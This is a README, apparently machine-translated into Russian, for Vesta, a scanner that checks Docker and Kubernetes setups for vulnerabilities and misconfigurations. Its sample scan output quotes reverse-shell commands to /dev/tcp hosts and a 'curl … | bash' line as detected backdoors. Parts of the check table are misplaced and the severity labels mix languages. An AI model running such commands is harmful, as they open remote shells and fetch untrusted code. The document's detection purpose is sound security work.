kvesta/vestaИнструмент статического анализа уязвимостей, обнаружения конфигурации Docker и кластеров Kubernetes, основанный на реальном проникновении в облачные вычисления.
Инструментарий для статического анализа уязвимостей, конфигураций Docker и кластеров Kubernetes, основанный на реальном опыте пентеста облачных вычислений.
Vesta — это инструментарий для статического анализа уязвимостей, конфигураций Docker и кластеров Kubernetes. Он проверяет конфигурации Kubernetes и Docker, кластерные поды и контейнеры на соответствие безопасным практикам.
Vesta — это гибкий инструментарий, который может выполняться на физических машинах с разными типами операционных систем (Windows, Linux, MacOS).
Сканирование
Docker
| Supported | Check Item | Description | Severity | Reference |
|---|---|---|---|---|
| ✔ | PrivilegeAllowed | Разрешён привилегированный модуль. | критический | Ref |
| ✔ | Capabilities | Открыты опасные capabilities. | критический | Ref |
| ✔ | Volume Mount | Монтирование опасного расположения. | критический | Ref |
| ✔ | Docker Unauthorized | Порт 2375 открыт и не авторизован. | критический | Ref |
| ✔ | Kernel version | Версия ядра ниже версии, позволяющей побег. | критический | Ref |
| ✔ | Network Module | Сетевой модуль установлен на host и версия containerd меньше 1.41. | критический/средний | |
| ✔ | Pid Module | Модуль PID установлен на host. | высокий | |
| ✔ | Docker Server version | Версия сервера содержит уязвимую версию. | критический/высокий/средний/низкий | |
| ✔ | Docker env password check | Проверка слабых паролей в базе данных. | высокий/средний | |
| ✔ | Docker History | Слои Docker и окружение содержат опасные команды. | высокий/средний | |
| ✔ | Docker Backdoor | Команды Docker env содержат вредоносные команды. | критический/высокий | |
| ✔ | Docker Swarm | Docker swarm содержит опасные конфигурации, или секреты, или контейнеры небезопасны. | средний/низкий | |
| ✔ | Docker supply chain | Цепочка поставок Docker содержит уязвимые конфигурации. | критический/высокий/средний | Ref |
Kubernetes
| Supported | Check Item | Description | Severity | Reference |
|---|---|---|---|---|
| ✔ | PrivilegeAllowed | Разрешён привилегированный модуль. | критический | Ref |
| ✔ | Capabilities | Открыты опасные capabilities. | kritische | Ref |
| ✔ | PV и PVC | PV смонтировано в опасное расположение и активно. | kritische/medium | Ref |
| ✔ | RBAC | RBAC имеет небезопасные конфигурации в clusterrolebinding или rolebinding. | высокий/средний/низкий/предупреждение | |
| ✔ | Kubernetes-dashborad | Проверка -enable-skip-login и разрешений учётной записи. | kritische/высокий/низкий | Ref |
| ✔ | Kernel version | Версия ядра ниже версии, позволяющей побег. | kritische | Ref |
| ✔ | Docker Server version (версии k8s меньше v1.24) | Версия сервера содержит уязвимую версию. | kritische/высокий/средний/низкий | |
| ✔ | Kubernetes certification expiration | Сертификат истекает через 30 дней. | средний | |
| ✔ | ConfigMap и Secret | Проверка слабых паролей в ConfigMap или Secret. | высокий/средний/низкий | Ref |
| ✔ | PodSecurityPolicy check (версии k8s ниже v1.25) | PodSecurityPolicy допускает опасные конфигурации подов. | высокий/средний/низкий | Ref |
| ✔ | Auto Mount ServiceAccount Token | Монтирование токена сервисной учётной записи по умолчанию. | kritische/высокий/средний/низкий |
Vesta собирается с помощью Go 1.18.```bash make build
## Быстрый старт
Пример сканирования образа или контейнера, используйте `-f` для ввода через tar-файл, запустите vesta:```bash
# Container
vesta scan image cve-2019-14234_web:latest
vesta scan image -f example.tar
# Image
vesta scan container <CONTAINER ID>
vesta scan container -f example.tar
# Filesystem
vesta scan fs <path_of_filesystem>
Вывод:```bash 2022/11/29 22:50:00 Searching for image 2022/11/29 22:50:19 Begin upgrading vulnerability database 2022/11/29 22:50:19 Vulnerability Database is already initialized 2022/11/29 22:50:19 Begin to analyze the layer 2022/11/29 22:50:35 Begin to scan the layer
Detected 216 vulnerabilities
+-----+--------------------+-----------------+------------------+-------+----------+------------------------------------------------------------------+ | 208 | python3.6 - Django | 2.2.3 | CVE-2019-14232 | 7.5 | high | An issue was discovered | | | | | | | | in Django 1.11.x before | | | | | | | | 1.11.23, 2.1.x before 2.1.11, | | | | | | | | and 2.2.x before 2.2.4. If | | | | | | | | django.utils.text.Truncator's | | | | | | | | chars() and words() methods | | | | | | | | were passed the html=True | | | | | | | | argument, t ... | +-----+ +-----------------+------------------+-------+----------+------------------------------------------------------------------+ | 209 | | 2.2.3 | CVE-2019-14233 | 7.5 | high | An issue was discovered | | | | | | | | in Django 1.11.x before | | | | | | | | 1.11.23, 2.1.x before 2.1.11, | | | | | | | | and 2.2.x before 2.2.4. | | | | | | | | Due to the behaviour of | | | | | | | | the underlying HTMLParser, | | | | | | | | django.utils.html.strip_tags | | | | | | | | would be extremely ... | +-----+ +-----------------+------------------+-------+----------+------------------------------------------------------------------+ | 210 | | 2.2.3 | CVE-2019-14234 | 9.8 | critical | An issue was discovered in | | | | | | | | Django 1.11.x before 1.11.23, | | | | | | | | 2.1.x before 2.1.11, and 2.2.x | | | | | | | | before 2.2.4. Due to an error | | | | | | | | in shallow key transformation, | | | | | | | | key and index lookups for | | | | | | | | django.contrib.postgres.f ... | +-----+--------------------+-----------------+------------------+-------+----------+------------------------------------------------------------------+ | 211 | python3.6 - numpy | 1.24.2 | | 8.5 | high | Malicious package is detected in | | | | | | | | '/usr/local/lib/python3.6/site-packages/numpy/setup.py', | | | | | | | | malicious command "curl https://vuln.com | bash" are | | | | | | | | detected. | +-----+--------------------+-----------------+------------------+-------+----------+------------------------------------------------------------------+
Docker Histories: +----+---------------+----------------------------+-------+-------+--------+--------------------------------+ | ID | NAME | CURRENT/VULNERABLE VERSION | CVEID | SCORE | LEVEL | DESCRIPTION | +----+---------------+----------------------------+-------+-------+--------+--------------------------------+ | 1 | Image History | - / - | - | 0.0 | high | Confusion value found | | | | | | | | in ENV: 'command' with | | | | | | | | the plain text 'bash -i | | | | | | | | >&/dev/tcp/127.0.0.1/9999 0>&1 | | | | | | | | '. | +----+---------------+----------------------------+-------+-------+--------+--------------------------------+ | 2 | | - / - | - | 0.0 | medium | Docker history has found the | | | | | | | | senstive environment with | | | | | | | | key 'SECRET_KEY' and value: | | | | | | | | 123456. | +----+---------------+----------------------------+-------+-------+--------+--------------------------------+
<details>
<summary>Результат</summary>
</details>
Пример сканирования конфигурации Docker, запуск vesta:```bash
vesta analyze docker
Или запустите с помощью dokcer```bash make run.docker
Вывод:```bash
2022/11/29 23:06:32 Start analysing
2022/11/29 23:06:32 Getting engine version
2022/11/29 23:06:32 Getting docker server version
2022/11/29 23:06:32 Getting kernel version
Detected 3 vulnerabilities
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| ID | CONTAINER DETAIL | PARAM | VALUE | SEVERITY | DESCRIPTION |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| 1 | Name: Kernel | kernel version | 5.10.104-linuxkit | critical | Kernel version is suffering |
| | ID: None | | | | the CVE-2022-0492 with |
| | | | | | CAP_SYS_ADMIN and v1 |
| | | | | | architecture of cgroups |
| | | | | | vulnerablility, has a |
| | | | | | potential container escape. |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| 2 | Name: vesta_vuln_test | kernel version | 5.10.104-linuxkit | critical | Kernel version is suffering |
| | ID: 207cf8842b15 | | | | the Dirty Pipe vulnerablility, |
| | | | | | has a potential container |
| | | | | | escape. |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| 3 | Name: Image Tag | Privileged | true | critical | There has a potential container|
| | ID: None | | | | escape in privileged module. |
| | | | | | |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| 4 | Name: Image Configuration | Image History | Image name: | high | Weak password found |
| | ID: None | | vesta_history_test:latest | | | in command: ' echo |
| | | | Image ID: 4bc05e1e3881 | | 'password=test123456' > |
| | | | | | config.ini # buildkit'. |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
Пример сканирования конфигурации Kubernetes, start vesta:```bash vesta analyze k8s
Вывод:```bash
2022/11/29 23:15:59 Start analysing
2022/11/29 23:15:59 Getting docker server version
2022/11/29 23:15:59 Getting kernel version
Detected 4 vulnerabilities
Pods:
+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| ID | POD DETAIL | PARAM | VALUE | TYPE | SEVERITY | DESCRIPTION |
+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| 1 | Name: vulntest | Namespace: | sidecar name: vulntest | | true | Pod | critical | There has a potential |
| | default | Status: Running | | Privileged | | | | container escape in privileged |
| | Node Name: docker-desktop | | | | | module. |
+ + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| | | sidecar name: vulntest | | Token:Password123456 | Sidecar EnvFrom | high | Sidecar envFrom ConfigMap has |
| | | env | | | | found weak password: |
| | | | | | | 'Password123456'. |
+ + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| | | sidecar name: sidecartest | | MALWARE: bash -i >& | Sidecar Env | high | Container 'sidecartest' finds |
| | | env | /dev/tcp/10.0.0.1/8080 0>&1 | | | high risk content(score: |
| | | | | | | 0.91 out of 1.0), which is a |
| | | | | | | suspect command backdoor. |
+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| 2 | Name: vulntest2 | Namespace: | sidecar name: vulntest2 | | CAP_SYS_ADMIN | capabilities.add | critical | There has a potential |
| | default | Status: Running | | capabilities | | | | container escape in privileged |
| | Node Name: docker-desktop | | | | | module. |
+ + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| | | sidecar name: vulntest2 | | true | kube-api-access-lcvh8 | critical | Mount service account |
| | | automountServiceAccountToken | | | | and key permission are |
| | | | | | | given, which will cause a |
| | | | | | | potential container escape. |
| | | | | | | Reference clsuterRolebind: |
| | | | | | | vuln-clusterrolebinding | |
| | | | | | | roleBinding: vuln-rolebinding |
+ + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| | | sidecar name: vulntest2 | | cpu | Pod | low | CPU usage is not limited. |
| | | Resource | | | | |
| | | | | | | |
+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
Configures:
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| ID | TYPEL | PARAM | VALUE | SEVERITY | DESCRIPTION |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 1 | K8s version less than v1.24 | kernel version | 5.10.104-linuxkit | critical | Kernel version is suffering |
| | | | | | the CVE-2022-0185 with |
| | | | | | CAP_SYS_ADMIN vulnerablility, |
| | | | | | has a potential container |
| | | | | | escape. |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 2 | ConfigMap | ConfigMap Name: vulnconfig | db.string:mysql+pymysql://dbapp:Password123@db:3306/db | high | ConfigMap has found weak |
| | | Namespace: default | | | password: 'Password123'. |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 3 | Secret | Secret Name: vulnsecret-auth | password:Password123 | high | Secret has found weak |
| | | Namespace: default | | | password: 'Password123'. |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 4 | ClusterRoleBinding | binding name: | verbs: get, watch, list, | high | Key permissions with key |
| | | vuln-clusterrolebinding | | create, update | resources: | | resources given to the |
| | | rolename: vuln-clusterrole | | pods, services | | default service account, which |
| | | kind: ClusterRole | subject | | | will cause a potential data |
| | | kind: Group | subject name: | | | leakage. |
| | | system:serviceaccounts:vuln | | | | |
| | | namespace: vuln | | | |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 5 | RoleBinding | binding name: vuln-rolebinding | verbs: get, watch, list, | high | Key permissions with key |
| | | | rolename: vuln-role | role | create, update | resources: | | resources given to the |
| | | kind: Role | subject kind: | pods, services | | default service account, which |
| | | ServiceAccount | subject name: | | | will cause a potential data |
| | | default | namespace: default | | | leakage. |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 6 | ClusterRoleBinding | binding name: | verbs: get, watch, list, | warning | Key permission are given |
| | | vuln-clusterrolebinding2 | | create, update | resources: | | to unknown user 'testUser', |
| | | rolename: vuln-clusterrole | | pods, services | | printing it for checking. |
| | | subject kind: User | subject | | | |
| | | name: testUser | namespace: | | | |
| | | all | | | |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
$./vesta -h Vesta is a static analysis of vulnerabilities, Docker and Kubernetes configuration detect toolkit Tutorial is available at https://github.com/kvesta/vesta
Usage: vesta [command]
Available Commands: analyze Kubernetes analyze completion Generate the autocompletion script for the specified shell help Help about any command scan Container scan update Update vulnerability database version Print version information and quit
Flags: -h, --help help for vesta
## Событие
### Список оружия KCon 2023
- [https://kcon.knownsec.com/index.php?s=bqp&c=category&id=2](https://kcon.knownsec.com/index.php?s=bqp&c=category&id=2)
| Ref |
| ✔ | NoResourceLimits | Не установлены ограничения ресурсов. | низкий | Ref |
| ✔ | Job и Cronjob | Не установлены seccomp или seLinux в Job или CronJob. | низкий | Ref |
| ✔ | Envoy admin | Admin Envoy открыт и прослушивает 0.0.0.0. | высокий/средний | Ref |
| ✔ | Cilium version | Cilium имеет уязвимую версию. | kritische/высокий/средний/низкий | Ref |
| ✔ | Istio configurations | Istio имеет уязвимую версию и уязвимые конфигурации. | kritische/высокий/средний/низкий | Ref |
| ✔ | Kubelet 10250/10255 и Kubectl proxy | Порты 10255/10250 открыты и не авторизованы, или открыт Kubectl proxy. | высокий/средний/низкий |
| ✔ | Etcd configuration | Проверка безопасной конфигурации Etcd. | высокий/средний |
| ✔ | Sidecar configurations | Sidecar имеет опасные конфигурации. | kritische/высокий/средний/низкий |
| ✔ | Pod annotation | Аннотации подов содержат небезопасные конфигурации. | высокий/средний/низкий/предупреждение | Ref |
| ✔ | DaemonSet | DaemonSet имеет небезопасные конфигурации. | kritische/высокий/средний/низкий |
| ✔ | Backdoor | Обнаружение бэкдора. | kritische/высокий | Ref |
| ✔ | Lateral admin movement | Pod указывает на мастер-узел. | средний/низкий |